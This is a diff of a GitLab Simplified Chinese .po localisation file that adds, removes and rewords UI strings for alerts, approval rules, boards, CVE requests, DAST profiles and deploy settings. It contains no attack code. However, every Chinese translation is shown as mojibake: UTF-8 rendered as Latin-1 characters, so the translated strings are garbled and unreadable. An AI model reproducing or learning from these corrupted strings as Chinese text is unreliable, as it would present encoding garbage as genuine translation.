+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
@@ -2829,6 +2916,9 @@ msgstr "使用下é¢çš„URL和授æƒå¯†é’¥æŽˆæƒPrometheuså‘GitLabå‘é€è­¦æŠ¥ã€
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr "使用下é¢çš„URL和授æƒå¯†é’¥æŽˆæƒå¤–部æœåŠ¡å‘GitLabå‘é€è­¦æŠ¥ã€‚查看外部æœåŠ¡æ–‡æ¡£ä»¥äº†è§£åœ¨ä½•å¤„添加这些详细信æ¯ï¼Œä»¥åŠæŸ¥é˜…%{linkStart}GitLab文档%{linkEnd}以了解有关é…置端点的更多信æ¯ã€‚"
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2838,9 +2928,6 @@ msgstr "Webhook网å€"
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr "您现在å¯ä»¥åœ¨è¿ç»´è®¾ç½®é¡µé¢ä¸Šçš„警报部分中为手动é…置的Prometheus实例设置警报端点。此页é¢ä¸Šçš„警报端点字段已被弃用。"
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr "您的集æˆå·²æˆåŠŸæ›´æ–°ã€‚"
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr "{ \"events\": [{ \"application\": \"应用å称\" }] }"
@@ -2877,8 +2964,11 @@ msgstr "无法删除集æˆã€‚请é‡è¯•ã€‚"
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr "集æˆå·²æˆåŠŸåˆ é™¤ã€‚"
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
-msgstr "集æˆå·²æˆåŠŸä¿å­˜ã€‚æ¥è‡ªè¿™ä¸ªæ–°é›†æˆçš„警报将会显示在您的警报列表中。"
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
+msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
msgstr "无法é‡ç½®é›†æˆä»¤ç‰Œã€‚请é‡è¯•ã€‚"
@@ -2967,9 +3057,6 @@ msgstr "å…许群组所有者管ç†LDAP相关的设置"
msgid "Allow only the selected protocols to be used for Git access."
msgstr "ä»…å…许所选å议用于 Git 访问。"
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr "å…许所有者管ç†åœ¨ç¾¤ç»„级别默认分支ä¿æŠ¤"
@@ -3033,6 +3120,9 @@ msgstr "å…许注册的域"
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "å…许使用电å­é‚®ä»¶åŸŸåé™åˆ¶ä»…å¯ç”¨äºŽé¡¶çº§ç¾¤ç»„"
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3060,6 +3150,9 @@ msgstr "也称为“签å‘者â€æˆ–“ä¾èµ–方信任标识符â€"
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "也称为“ä¾èµ–æ–¹æœåŠ¡URLâ€æˆ–“回å¤URLâ€"
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr "åŒæ—¶ä»Žç›¸å…³çš„议题和åˆå¹¶è¯·æ±‚中å–消指派此用户"
@@ -3117,6 +3210,9 @@ msgstr "如果ä¸å­˜åœ¨ç´¢å¼•ï¼Œå°†åˆ›å»ºä¸€ä¸ªç©ºç´¢å¼•ã€‚"
msgid "An error has occurred"
msgstr "å‘生错误"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr "å‘主题添加è‰ç¨¿æ—¶å‡ºé”™ã€‚"
@@ -3240,6 +3336,9 @@ msgstr "获å–待处ç†è¯„论时å‘生错误"
msgid "An error occurred while fetching projects autocomplete."
msgstr "获å–项目自动完æˆæ—¶å‡ºé”™ã€‚"
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "获å–侧边æ æ•°æ®æ—¶å‘生错误"
@@ -3252,9 +3351,6 @@ msgstr "获å–terraform报告时å‘生错误。"
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "读å–看æ¿åˆ—表时出错。请å†è¯•ä¸€æ¬¡ã€‚"
-msgid "An error occurred while fetching the builds."
-msgstr "获å–该构建时å‘生了一个错误。"
-
msgid "An error occurred while fetching the job log."
msgstr "获å–作业日志时å‘生错误。"
@@ -3345,7 +3441,7 @@ msgstr "加载文件时å‘生错误。"
msgid "An error occurred while loading the file. Please try again later."
msgstr "加载文件时出错。请ç¨åŽå†è¯•ã€‚"
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3483,9 +3579,6 @@ msgstr "一个实例级无æœåŠ¡å™¨åŸŸå·²ç»å­˜åœ¨ã€‚"
msgid "An issue already exists"
msgstr "议题已ç»å­˜åœ¨"
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr "议题å¯ä»¥æ˜¯éœ€è¦åœ¨é¡¹ç›®ä¸­è®¨è®ºçš„缺陷,待办事项或功能请求。此外,议题是å¯æœç´¢å’Œå¯ç­›é€‰çš„。"
-
msgid "An issue title is required"
msgstr ""
@@ -3687,6 +3780,9 @@ msgstr "批准规则"
msgid "Approval rules reset to project defaults"
msgstr "审批规则é‡ç½®ä¸ºé¡¹ç›®é»˜è®¤å€¼"
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] "%d æˆå‘˜"
@@ -3706,6 +3802,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] "%{membersCount} éœ€è¦ %{count} 个核准"
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr "核准规则"
@@ -3715,6 +3814,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr "核准人"
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr "å称"
@@ -3724,9 +3826,6 @@ msgstr "规则å称"
msgid "ApprovalRule|Target branch"
msgstr "目标分支"
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr "例如质é‡ä¿è¯ã€å®‰å…¨ç­‰ç­‰ã€‚"
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr "éµå®ˆèŒè´£åˆ†ç¦»"
@@ -3863,6 +3962,12 @@ msgid "Are you sure you want to import %d repository?"
msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] "您确定è¦å¯¼å…¥%d个仓库å—?"
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "确定è¦æ”¾å¼ƒæœªä¿å­˜çš„更改å—?"
@@ -3923,6 +4028,12 @@ msgstr "是å¦ç¡®å®šç»ˆæ­¢å½“å‰çŽ¯å¢ƒï¼Ÿ"
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "您确定è¦è§£é”%{path_lock_path}å—?"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr "您确定è¦å–消订阅 %{type}:%{link_to_noteable_text}å—?"
@@ -3965,14 +4076,14 @@ msgstr "éšç€æˆ‘们继续为SAST添加更多的功能,我们éžå¸¸æ¬¢è¿Žæ‚¨é€
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} 推é€åˆ° %{project_name} 的分支%{branch} ( %{commit_url} ): "
-msgid "AsanaService|Asana - Teamwork without email"
-msgstr "Asana - 无需电å­é‚®ä»¶å®žçŽ°å›¢é˜Ÿå作"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
+msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "以逗å·åˆ†éš”的分支列表。列表中的分支会被自动检查。留空则包括所有分支。"
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
+msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
-msgstr "用户个人访问令牌。用户必须能够访问任务,所有评论都将归于此用户。"
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
+msgstr ""
msgid "Ascending"
msgstr "å‡åºæŽ’列"
@@ -4396,6 +4507,9 @@ msgstr "å³å°†åˆ é™¤å¤´åƒã€‚确定继续å—?"
msgid "Average per day: %{average}"
msgstr "å¹³å‡æ¯å¤©: %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr "回到第%{number}页"
@@ -4498,6 +4612,9 @@ msgstr "具有API访问æƒé™çš„用户,如果适用。"
msgid "BambooService|Atlassian Bamboo CI"
msgstr "Atlassian Bamboo CI"
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr "Bamboo构建计划密钥,如KEY"
@@ -4516,6 +4633,9 @@ msgstr "请注æ„,更改项目的命å空间å¯èƒ½ä¼šäº§ç”Ÿéžé¢„期的副作
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr "请注æ„,é‡å‘½å项目的仓库å¯èƒ½ä¼šäº§ç”Ÿéžé¢„期的副作用。"
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "从选定的æ交开始"
@@ -4540,8 +4660,8 @@ msgstr "计费"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
-msgstr "@%{user_name}您正在使用%{plan_name}计划。"
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
+msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr "æ­å–œï¼Œæ‚¨çš„试用计划已å¯ç”¨ã€‚"
@@ -4673,6 +4793,9 @@ msgstr[0] "被%d个议题阻塞"
msgid "Blocked issue"
msgstr "å—阻的议题"
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr "阻塞议题"
@@ -4703,6 +4826,10 @@ msgstr "看æ¿"
msgid "Boards and Board Lists"
msgstr "看æ¿å’Œçœ‹æ¿åˆ—表"
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr "创建列表时å‘生错误。请å†è¯•ä¸€é。"
@@ -4712,9 +4839,6 @@ msgstr "创建列表时å‘生错误。请å†è¯•ä¸€é。"
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr "读å–看æ¿è®®é¢˜æ—¶å‡ºé”™ã€‚请é‡è¯•ã€‚"
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4733,6 +4857,9 @@ msgstr "读å–看æ¿æ³³é“时出错。请é‡æ–°åŠ è½½é¡µé¢ã€‚"
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr "生æˆåˆ—表时å‘生错误。请é‡æ–°åŠ è½½é¡µé¢ã€‚"
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr "移动议题时å‘生错误,请å†è¯•ä¸€é"
@@ -4742,6 +4869,10 @@ msgstr "移除列表时å‘生错误。请é‡è¯•ã€‚"
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr "更新列表时出错。请é‡è¯•ã€‚"
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4754,6 +4885,15 @@ msgstr "编辑看æ¿"
msgid "Boards|Expand"
msgstr "展开"
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr "查看范围"
@@ -4784,6 +4924,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr "载入更多议题"
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr "需è¦é¡¹ç›®å’Œä»ªè¡¨æ¿è·¯å¾„"
@@ -5090,15 +5233,6 @@ msgstr "作者:"
msgid "CHANGELOG"
msgstr "更新日志"
-msgid "CI / CD"
-msgstr "CI / CD"
-
-msgid "CI / CD Analytics"
-msgstr "CI/CD分æž"
-
-msgid "CI / CD Settings"
-msgstr "CI/CD 设置"
-
msgid "CI Lint"
msgstr "CI Lint"
@@ -5117,6 +5251,12 @@ msgstr "CI将使用以上指定的用户身份è¿è¡Œã€‚"
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "CI/CD é…ç½®"
@@ -5205,6 +5345,27 @@ msgstr "贡献信æ¯"
msgid "CPU"
msgstr "CPU"
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "回调 URL"
@@ -5301,6 +5462,9 @@ msgstr "å–消,ä¿ç•™é¡¹ç›®"
msgid "Canceled deployment to"
msgstr "å–消部署到"
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr "å–消预览"
@@ -5421,6 +5585,9 @@ msgstr "更改模æ¿"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr "更改此值以影å“GitLab UI拉å–更新的频率。"
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr "更改标题"
@@ -5448,6 +5615,9 @@ msgstr "优选"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "还原"
@@ -5457,12 +5627,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr "这将创建一个新的æ交, æ¥è¿˜åŽŸçŽ°æœ‰çš„更改。"
@@ -6105,6 +6281,9 @@ msgstr "关闭%{issueType}"
msgid "Close %{tabname}"
msgstr "关闭%{tabname}"
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr "关闭å²è¯—"
@@ -6138,6 +6317,48 @@ msgstr "关闭: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "关闭此%{quick_action_target}."
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr "集群"
@@ -6171,9 +6392,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr "é…ç½®"
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr "将您的集群连接到GitLab Agent"
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6192,12 +6410,21 @@ msgstr "å°†Kubernetes与GitLab Agent集æˆ"
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr "与GitLab Agent集æˆ"
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr "å称"
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr "GitLab Agent也需è¦%{linkStart}å¯ç”¨ä»£ç†æœåŠ¡å™¨%{linkEnd}"
@@ -6747,6 +6974,9 @@ msgstr "请确ä¿æ‚¨çš„å¸æˆ·%{link_to_requirements}å¯ä»¥åˆ›å»º Kubernetes 集ç
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr "通过访问%{provider_link}管ç†Kubernetes群集"
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr "按环境分é…命å空间"
@@ -7453,6 +7683,9 @@ msgstr "æ交..."
msgid "Community forum"
msgstr "社区论å›"
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr "å…¬å¸å称"
@@ -7516,6 +7749,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7801,6 +8037,9 @@ msgstr "容器扫æ"
msgid "Container does not exist"
msgstr "容器ä¸å­˜åœ¨"
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr "容器镜åƒåº“é•œåƒ"
@@ -7827,9 +8066,6 @@ msgid "ContainerRegistry|%{count} Tag"
msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] "%{count}个标签"
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr "%{imageName}标签"
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -7914,6 +8150,9 @@ msgstr "摘è¦: %{imageId}"
msgid "ContainerRegistry|Docker connection error"
msgstr "Docker连接错误"
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr "过期策略已ç¦ç”¨"
@@ -7932,6 +8171,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr "é•œåƒæ ‡ç­¾"
@@ -7996,6 +8238,9 @@ msgstr "删除早于以下时间的标签:"
msgid "ContainerRegistry|Remove these tags"
msgstr "删除这些标签"
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr "è¿è¡Œæ¸…ç†ï¼š"
@@ -8218,6 +8463,9 @@ msgstr "å¤åˆ¶"
msgid "Copy %{http_label} clone URL"
msgstr "å¤åˆ¶ %{http_label} 克隆地å€"
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr "å¤åˆ¶ %{protocol} 克隆URL"
@@ -8263,9 +8511,6 @@ msgstr "å¤åˆ¶å‘½ä»¤"
msgid "Copy commit SHA"
msgstr "å¤åˆ¶æ交SHA"
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr "å¤åˆ¶çŽ¯å¢ƒ"
@@ -8323,9 +8568,18 @@ msgstr "å¤åˆ¶å€¼"
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr "无法将管ç†å‘˜æ·»åŠ ä¸ºæˆå‘˜"
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr "无法归档%{design}。请é‡è¯•ã€‚"
@@ -8380,12 +8634,21 @@ msgstr "未找到设计."
msgid "Could not find iteration"
msgstr "未找到迭代"
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr "无法加载用户图表。请刷新页é¢ä»¥é‡è¯•ã€‚"
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr "无法删除触å‘器。"
@@ -8419,6 +8682,9 @@ msgstr "无法更新 wiki 页é¢"
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr "无法上传您的设计,因为ä¸æ”¯æŒå·²ä¸Šä¼ ä¸€ä¸ªæˆ–多个的文件。"
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr "国家/地区"
@@ -8428,16 +8694,15 @@ msgstr "覆盖率"
msgid "Coverage Fuzzing"
msgstr "Coverage Fuzzing"
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] "该æµæ°´çº¿çš„覆盖率是通过对%d个作业的覆盖率值进行平å‡è®¡ç®—得出的。"
-
msgid "Create"
msgstr "创建"
msgid "Create %{environment}"
msgstr "创建%{environment}"
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr "创建%{type}"
@@ -8582,9 +8847,6 @@ msgstr "创建新文件"
msgid "Create new file or directory"
msgstr "创建新文件或目录"
-msgid "Create new issue in Jira"
-msgstr "在Jira创建新议题"
-
msgid "Create new label"
msgstr "创建新标记"
@@ -8606,6 +8868,9 @@ msgstr "创建需求"
msgid "Create snippet"
msgstr "创建代ç ç‰‡æ–­"
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr "创建通é…符: %{searchTerm}"
@@ -8759,6 +9024,9 @@ msgstr ""
msgid "Created"
msgstr "创建于"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr "创建于%{timestamp}"
@@ -8822,6 +9090,9 @@ msgstr "创建å²è¯—中"
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr "正在使用PrometheusæœåŠ¡å™¨ä¸­çš„æ•°æ®åˆ›å»ºå›¾è¡¨ã€‚如果这需è¦å¾ˆé•¿æ—¶é—´ï¼Œè¯·ç¡®ä¿æ•°æ®å¯ç”¨ã€‚"
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr "创建日期"
@@ -9123,8 +9394,9 @@ msgstr "选择标记"
msgid "CycleAnalytics|Show"
msgstr "显示"
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr "显示%{subjectFilterText}和%{selectedLabelsCount}个标签"
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr "显示群组'%{groupName}'å’Œ%{selectedProjectCount}个项目从%{startDate}到%{endDate}çš„æ•°æ®"
@@ -9219,6 +9491,9 @@ msgstr "身份验è¯"
msgid "DastProfiles|Authentication URL"
msgstr "身份验è¯ç½‘å€"
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr "无法创建扫æ工具é…置。请é‡è¯•ã€‚"
@@ -9288,6 +9563,12 @@ msgstr "编辑站点é…ç½®"
msgid "DastProfiles|Enable Authentication"
msgstr "å¯ç”¨èº«ä»½éªŒè¯"
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr "错误详细信æ¯"
@@ -9348,6 +9629,9 @@ msgstr "请输入有效的超时值"
msgid "DastProfiles|Profile name"
msgstr "é…ç½®å称"
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9381,6 +9665,9 @@ msgstr "扫æ工具é…ç½®"
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr "显示调试消æ¯"
@@ -9411,12 +9698,24 @@ msgstr "爬虫é历站点所å…许的最大分钟数。"
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr "被测站点å“应请求所å…许的最大秒数。"
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr "å¯ç”¨AJAX爬虫"
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr "用户å"
@@ -9493,6 +9792,9 @@ msgstr "正在验è¯..."
msgid "DastSiteValidation|Validation failed"
msgstr "验è¯å¤±è´¥"
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr "验è¯æˆåŠŸã€‚å¯å¯¹ç›®æ ‡ç«™ç‚¹è¿›è¡Œä¸»åŠ¨æ‰«æ和被动扫æ。"
@@ -9523,6 +9825,9 @@ msgstr "日期范围ä¸èƒ½è¶…过%{maxDateRange}天。"
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr "一个月中的æ¯å¤©"
@@ -9934,14 +10239,20 @@ msgstr "部署到 ..."
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr "冻结结æŸ"
msgid "DeployFreeze|Freeze start"
msgstr "冻结开始"
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
-msgstr "此项目ä¸å­˜åœ¨éƒ¨ç½²å†»ç»“。如需添加,请点击%{strongStart}添加部署冻结%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
+msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
msgstr ""
@@ -10051,9 +10362,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr "撤销"
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr "撤销%{b_start}%{name}%{b_end}?"
-
msgid "DeployTokens|Revoke %{name}"
msgstr "撤销 %{name}"
